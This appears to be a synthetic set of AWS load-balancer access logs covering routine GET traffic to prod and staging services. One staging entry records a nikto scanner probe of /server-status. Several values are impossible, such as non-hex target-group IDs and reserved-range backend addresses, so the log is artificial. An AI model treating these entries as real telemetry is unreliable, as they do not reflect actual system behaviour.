2024-11-01T02:26:31.192313Z "forward" "-" "-" "10.0.130.210:443" "404" "-" "-" +https 2024-11-01T02:26:33.051496Z prod-web-alb 50.232.120.250:58061 10.0.198.48:443 0.089616 0.420984 0.093310 200 200 160 9301 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9e9-45b91e15621c47e9aee585a0" "prod-web-alb.example.com" "-" 10 2024-11-01T02:26:33.051496Z "forward" "-" "-" "10.0.198.48:443" "200" "-" "-" +https 2024-11-01T02:26:33.689167Z prod-api-alb 51.251.151.120:33712 10.0.26.163:443 0.077457 0.470233 0.000757 200 200 106 6311 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9e9-519aad45e5364a04b049c7ed" "prod-api-alb.example.com" "-" 8 2024-11-01T02:26:33.689167Z "forward" "-" "-" "10.0.26.163:443" "200" "-" "-" +https 2024-11-01T02:26:35.058170Z prod-api-alb 145.196.33.95:48862 10.0.57.97:443 0.001533 0.004928 0.094384 301 301 749 6677 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9eb-bc23cae9a84c46408bdb07ef" "prod-api-alb.example.com" "-" 7 2024-11-01T02:26:35.058170Z "forward" "-" "-" "10.0.57.97:443" "301" "-" "-" +https 2024-11-01T02:26:36.513564Z prod-api-alb 24.144.115.167:55054 10.0.180.222:443 0.001603 0.435432 0.059327 302 302 620 1577 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9ec-17eb922fd50248f7aacd6894" "prod-api-alb.example.com" "-" 9 2024-11-01T02:26:36.513564Z "forward" "-" "-" "10.0.180.222:443" "302" "-" "-" +https 2024-11-01T02:26:37.185575Z prod-web-alb 32.148.242.68:23441 10.0.124.34:443 0.068229 0.145576 0.005171 301 301 776 4590 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d9ed-b2bb6819470c4439a51ef623" "prod-web-alb.example.com" "-" 6 2024-11-01T02:26:37.185575Z "forward" "-" "-" "10.0.124.34:443" "301" "-" "-" +https 2024-11-01T02:26:38.234155Z prod-web-alb 249.221.38.194:63944 10.0.57.199:443 0.031828 0.499136 0.051322 200 200 483 5599 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9ee-cbf3760a9a874debb7e0737a" "prod-web-alb.example.com" "-" 7 2024-11-01T02:26:38.234155Z "forward" "-" "-" "10.0.57.199:443" "200" "-" "-" +https 2024-11-01T02:26:38.810450Z prod-api-alb 156.203.147.160:16871 10.0.20.119:443 0.016688 0.293392 0.013262 302 302 429 4631 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9ee-c6545ccee42a4df98890cf0b" "prod-api-alb.example.com" "-" 7 2024-11-01T02:26:38.810450Z "forward" "-" "-" "10.0.20.119:443" "302" "-" "-" +https 2024-11-01T02:26:40.462647Z prod-web-alb 173.187.46.6:48522 10.0.22.117:443 0.028598 0.094117 0.080577 200 200 380 5802 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d9f0-530c7228a38e4c8395a021e1" "prod-web-alb.example.com" "-" 0 2024-11-01T02:26:40.462647Z "forward" "-" "-" "10.0.22.117:443" "200" "-" "-" +https 2024-11-01T02:26:42.062537Z prod-web-alb 35.78.25.194:39513 10.0.14.139:443 0.080253 0.435633 0.010600 200 200 125 9883 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9f2-6555cc08c20d4b99972481d1" "prod-web-alb.example.com" "-" 5 2024-11-01T02:26:42.062537Z "forward" "-" "-" "10.0.14.139:443" "200" "-" "-" +https 2024-11-01T02:26:42.234973Z prod-api-alb 251.18.13.150:55644 10.0.140.168:443 0.016296 0.485134 0.074179 404 404 220 12814 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9f2-5524c8001f9d45058638df04" "prod-api-alb.example.com" "-" 9 2024-11-01T02:26:42.234973Z "forward" "-" "-" "10.0.140.168:443" "404" "-" "-" +https 2024-11-01T02:26:42.779146Z prod-web-alb 208.57.10.48:51366 10.0.19.53:443 0.042720 0.313575 0.057328 200 200 59 3123 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9f2-18afc113c5984b509e70051f" "prod-web-alb.example.com" "-" 7 2024-11-01T02:26:42.779146Z "forward" "-" "-" "10.0.19.53:443" "200" "-" "-" +https 2024-11-01T02:26:42.895658Z prod-web-alb 76.182.133.246:26192 10.0.205.65:443 0.059058 0.075147 0.051251 200 200 438 1259 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d9f2-409b2563de8e4432bde75890" "prod-web-alb.example.com" "-" 8 2024-11-01T02:26:42.895658Z "forward" "-" "-" "10.0.205.65:443" "200" "-" "-" +https 2024-11-01T02:26:43.767471Z prod-web-alb 124.168.71.106:23126 10.0.178.6:443 0.043382 0.009609 0.072864 200 200 739 5040 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9f3-8e7b229d0e254bfba48e0d75" "prod-web-alb.example.com" "-" 7 2024-11-01T02:26:43.767471Z "forward" "-" "-" "10.0.178.6:443" "200" "-" "-" +https 2024-11-01T02:26:44.849468Z prod-api-alb 80.68.9.140:23161 10.0.246.38:443 0.038623 0.011307 0.033572 200 200 990 758 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9f4-c52830b0b27048cfa4f23f4b" "prod-api-alb.example.com" "-" 6 2024-11-01T02:26:44.849468Z "forward" "-" "-" "10.0.246.38:443" "200" "-" "-" +https 2024-11-01T02:26:45.381614Z prod-api-alb 63.185.13.128:14993 10.0.159.65:443 0.054593 0.352317 0.084634 404 404 318 12597 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9f5-a2509c1514b34d2f9c53febe" "prod-api-alb.example.com" "-" 4 2024-11-01T02:26:45.381614Z "forward" "-" "-" "10.0.159.65:443" "404" "-" "-" +https 2024-11-01T02:26:45.952558Z prod-web-alb 157.37.27.58:26471 10.0.96.183:443 0.003306 0.285008 0.012558 404 404 925 1001 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d9f5-2de9640cdb46494fa7cf387f" "prod-web-alb.example.com" "-" 3 2024-11-01T02:26:45.952558Z "forward" "-" "-" "10.0.96.183:443" "404" "-" "-" +https 2024-11-01T02:26:47.871113Z staging-alb 19.86.149.103:59661 15.71.236.138:443 0.104013 0.000127 0.090624 404 404 60 11682 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9f7-d2f3304193084c1da0808371" "staging-alb.example.com" "-" 5 2024-11-01T02:26:47.871113Z "forward" "-" "-" "15.71.236.138:443" "404" "-" "-" +https 2024-11-01T02:26:48.884126Z staging-alb 45.155.205.44:25689 253.63.92.173:8080 0.061247 0.505668 0.114796 500 500 487 4997 "GET /server-status HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9f8-55b696d5a6a94929833cc24b" "-" "-" 7 2024-11-01T02:26:48.884126Z "forward" "-" "-" "253.63.92.173:8080" "500" "-" "-" +https 2024-11-01T02:26:49.039958Z prod-web-alb 29.60.209.10:62382 10.0.255.40:443 0.094562 0.072614 0.022873 200 200 514 12770 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d9f9-1bd024bcd5c5405cbc8d4ccf" "prod-web-alb.example.com" "-" 2 2024-11-01T02:26:49.039958Z "forward" "-" "-" "10.0.255.40:443" "200" "-" "-" +https 2024-11-01T02:26:49.602517Z prod-api-alb 49.181.48.229:17047 10.0.46.30:443 0.093491 0.494638 0.041143 302 302 27 13813 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9f9-cdd8d9006f56419f8e1844c6" "prod-api-alb.example.com" "-" 5 2024-11-01T02:26:49.602517Z "forward" "-" "-" "10.0.46.30:443" "302" "-" "-" +https 2024-11-01T02:26:51.027483Z prod-web-alb 62.248.154.3:13176 10.0.164.96:443 0.083217 0.343651 0.035163 200 200 357 9863 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9fb-a1b3a6f70bc54904aaf067f0" "prod-web-alb.example.com" "-" 1 2024-11-01T02:26:51.027483Z "forward" "-" "-" "10.0.164.96:443" "200" "-" "-" +https 2024-11-01T02:26:52.008404Z prod-api-alb 171.202.247.97:27959 10.0.248.192:443 0.030005 0.464668 0.012740 200 200 240 1638 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9fc-77f8f084a4f14741b509c547" "prod-api-alb.example.com" "-" 3 2024-11-01T02:26:52.008404Z "forward" "-" "-" "10.0.248.192:443" "200" "-" "-" +https 2024-11-01T02:26:53.642720Z staging-alb 78.5.188.95:28553 112.41.236.58:443 0.143667 0.415918 0.101441 200 200 905 12507 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9fd-ad7b1eabfc9a4742a84f3ff2" "staging-alb.example.com" "-" 10 2024-11-01T02:26:53.642720Z "forward" "-" "-" "112.41.236.58:443" "200" "-" "-" +https 2024-11-01T02:26:54.960793Z staging-alb 172.29.81.20:47821 120.103.5.42:443 0.109856 0.417051 0.047525 302 302 770 3421 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9fe-1549c54d7b6148f89e3cec50" "staging-alb.example.com" "-" 8 2024-11-01T02:26:54.960793Z "forward" "-" "-" "120.103.5.42:443" "302" "-" "-" +https 2024-11-01T02:26:55.837222Z staging-alb 241.178.225.26:31151 219.249.85.232:8080 0.022042 0.161561 0.037417 200 200 222 10859 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9ff-6ebe582126e34133bda0357a" "staging-alb.example.com" "-" 10 2024-11-01T02:26:55.837222Z "forward" "-" "-" "219.249.85.232:8080" "200" "-" "-" +http 2024-11-01T02:26:56.372574Z staging-alb 248.201.174.234:22116 212.30.122.7:80 0.043414 0.568811 0.067958 200 200 787 5646 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da00-eaadca622ba142d6b0b5b971" "staging-alb.example.com" "-" 5 2024-11-01T02:26:56.372574Z "forward" "-" "-" "212.30.122.7:80" "200" "-" "-" +https 2024-11-01T02:26:58.321036Z staging-alb 224.130.129.125:36128 177.68.202.235:443 0.007523 0.718834 0.121858 200 200 362 11974 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da02-d48249f2febe4ab19c2ead07" "staging-alb.example.com" "-" 8 2024-11-01T02:26:58.321036Z "forward" "-" "-" "177.68.202.235:443" "200" "-" "-" +https 2024-11-01T02:26:59.281782Z staging-alb 36.29.5.176:20072 251.134.114.167:80 0.092053 0.375297 0.070676 200 200 481 12017 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da03-63b80d7906fc4d1fa71b8fff" "staging-alb.example.com" "-" 2 2024-11-01T02:26:59.281782Z "forward" "-" "-" "251.134.114.167:80" "200" "-" "-" +https 2024-11-01T02:27:00.185470Z prod-web-alb 181.230.248.78:37773 10.0.197.115:443 0.025704 0.077458 0.035835 301 301 882 5622 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da04-ac56247aa48d419b929023ce" "prod-web-alb.example.com" "-" 5 2024-11-01T02:27:00.185470Z "forward" "-" "-" "10.0.197.115:443" "301" "-" "-" +https 2024-11-01T02:27:00.805819Z prod-web-alb 205.169.226.75:23853 10.0.46.172:443 0.015675 0.078831 0.003165 200 200 919 11651 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da04-3c9877a82b134eb1b2e60e84" "prod-web-alb.example.com" "-" 3 2024-11-01T02:27:00.805819Z "forward" "-" "-" "10.0.46.172:443" "200" "-" "-" +https 2024-11-01T02:27:02.046957Z staging-alb 172.97.184.170:35585 171.187.205.163:80 0.134284 0.106835 0.142064 200 200 723 14414 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da06-b699395b266b4abb9a4aa854" "staging-alb.example.com" "-" 0 2024-11-01T02:27:02.046957Z "forward" "-" "-" "171.187.205.163:80" "200" "-" "-" +https 2024-11-01T02:27:02.677928Z prod-api-alb 113.247.188.215:19414 10.0.135.150:443 0.033436 0.008190 0.075224 200 200 741 3498 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da06-8e682cac4d6442ae91ea3b44" "prod-api-alb.example.com" "-" 10 2024-11-01T02:27:02.677928Z "forward" "-" "-" "10.0.135.150:443" "200" "-" "-" +https 2024-11-01T02:27:03.403817Z prod-api-alb 248.39.58.87:63344 10.0.162.141:443 0.075019 0.436656 0.074149 200 200 594 7244 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da07-64910f65c37946928f65b607" "prod-api-alb.example.com" "-" 7 2024-11-01T02:27:03.403817Z "forward" "-" "-" "10.0.162.141:443" "200" "-" "-" +http 2024-11-01T02:27:04.375967Z staging-alb 69.103.49.29:32408 179.39.101.185:443 0.060352 0.415832 0.111949 404 404 380 5521 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da08-e5d387abfdf9447f8197681e" "staging-alb.example.com" "-" 8 2024-11-01T02:27:04.375967Z "forward" "-" "-" "179.39.101.185:443" "404" "-" "-" +https 2024-11-01T02:27:04.540190Z staging-alb 112.221.226.165:21286 110.65.210.203:443 0.036792 0.440482 0.086380 200 200 754 4619 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da08-fe79c4fb623b4014a6f9c209" "staging-alb.example.com" "-" 6 2024-11-01T02:27:04.540190Z "forward" "-" "-" "110.65.210.203:443" "200" "-" "-" +http 2024-11-01T02:27:06.534814Z staging-alb 104.242.120.76:57940 99.157.220.150:8080 0.114210 0.594467 0.079372 200 200 95 13328 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da0a-bb6e5f3f0c744027a575a52e" "staging-alb.example.com" "-" 4 2024-11-01T02:27:06.534814Z "forward" "-" "-" "99.157.220.150:8080" "200" "-" "-" +https 2024-11-01T02:27:08.254529Z prod-api-alb 219.210.1.101:31145 10.0.192.237:443 0.010978 0.206738 0.088392 200 200 141 8846 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da0c-a37a90c201ce4810910fcca8" "prod-api-alb.example.com" "-" 10 2024-11-01T02:27:08.254529Z "forward" "-" "-" "10.0.192.237:443" "200" "-" "-" +https 2024-11-01T02:27:09.322110Z prod-web-alb 18.21.117.74:56133 10.0.58.71:443 0.074573 0.412730 0.021194 200 200 103 12775 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da0d-b5dd0d8963be48e089ebb250" "prod-web-alb.example.com" "-" 6 2024-11-01T02:27:09.322110Z "forward" "-" "-" "10.0.58.71:443" "200" "-" "-" +https 2024-11-01T02:27:09.897866Z staging-alb 233.80.22.141:10287 94.233.177.204:80 0.147545 0.208534 0.093809 200 200 810 12049 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da0d-9d96a40b19fa4be98862b33d" "staging-alb.example.com" "-" 3 2024-11-01T02:27:09.897866Z "forward" "-" "-" "94.233.177.204:80" "200" "-" "-" +http 2024-11-01T02:27:11.020448Z staging-alb 8.190.154.181:39245 216.59.81.250:80 0.010110 0.009545 0.077383 302 302 784 3975 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da0f-dca54e893cf84a2d80a43151" "staging-alb.example.com" "-" 10 2024-11-01T02:27:11.020448Z "forward" "-" "-" "216.59.81.250:80" "302" "-" "-" +https 2024-11-01T02:27:11.327123Z prod-web-alb 168.195.228.101:36933 10.0.129.3:443 0.051631 0.005356 0.091155 404 404 9 3094 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da0f-4d8d00bf94fa46589eeaef60" "prod-web-alb.example.com" "-" 4 2024-11-01T02:27:11.327123Z "forward" "-" "-" "10.0.129.3:443" "404" "-" "-" +https 2024-11-01T02:27:12.439665Z prod-api-alb 183.213.170.7:32330 10.0.99.64:443 0.023047 0.427438 0.052161 200 200 769 6106 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da10-b458afffe13a44e7a05a2cec" "prod-api-alb.example.com" "-" 10 2024-11-01T02:27:12.439665Z "forward" "-" "-" "10.0.99.64:443" "200" "-" "-" +https 2024-11-01T02:27:14.110817Z prod-web-alb 28.215.209.138:53316 10.0.225.192:443 0.021125 0.245849 0.071751 301 301 65 6396 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da12-f234a612cadc4a228f2ea817" "prod-web-alb.example.com" "-" 1 2024-11-01T02:27:14.110817Z "forward" "-" "-" "10.0.225.192:443" "301" "-" "-" +https 2024-11-01T02:27:14.894619Z prod-web-alb 211.10.96.162:49696 10.0.160.200:443 0.028678 0.489747 0.060673 200 200 202 10252 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da12-97e2e41dbb904ea4b48b2602" "prod-web-alb.example.com" "-" 4 2024-11-01T02:27:14.894619Z "forward" "-" "-" "10.0.160.200:443" "200" "-" "-" +https 2024-11-01T02:27:15.522877Z prod-api-alb 96.168.6.137:34492 10.0.192.37:443 0.006666 0.490142 0.052267 301 301 144 5421 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da13-755b8bfd90444444ba9cd5b0" "prod-api-alb.example.com" "-" 4 2024-11-01T02:27:15.522877Z "forward" "-" "-" "10.0.192.37:443" "301" "-" "-" +https 2024-11-01T02:27:17.267741Z prod-web-alb 255.58.61.181:60568 10.0.4.44:443 0.019801 0.247432 0.009986 200 200 612 10990 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da15-ebbb8ec84ff949178d3e1cac" "prod-web-alb.example.com" "-" 10 2024-11-01T02:27:17.267741Z "forward" "-" "-" "10.0.4.44:443" "200" "-" "-" +https 2024-11-01T02:27:17.934104Z staging-alb 226.190.189.2:50169 98.251.6.164:80 0.103091 0.601972 0.029113 200 200 129 1918 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da15-e4b7832601fe4d40be6b98ac" "staging-alb.example.com" "-" 9 2024-11-01T02:27:17.934104Z "forward" "-" "-" "98.251.6.164:80" "200" "-" "-" +https 2024-11-01T02:27:19.886042Z prod-web-alb 7.191.90.143:18262 10.0.33.55:443 0.068641 0.139519 0.084556 404 404 280 8015 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da17-1564e8a5bc67449385e3c8bf" "prod-web-alb.example.com" "-" 8 2024-11-01T02:27:19.886042Z "forward" 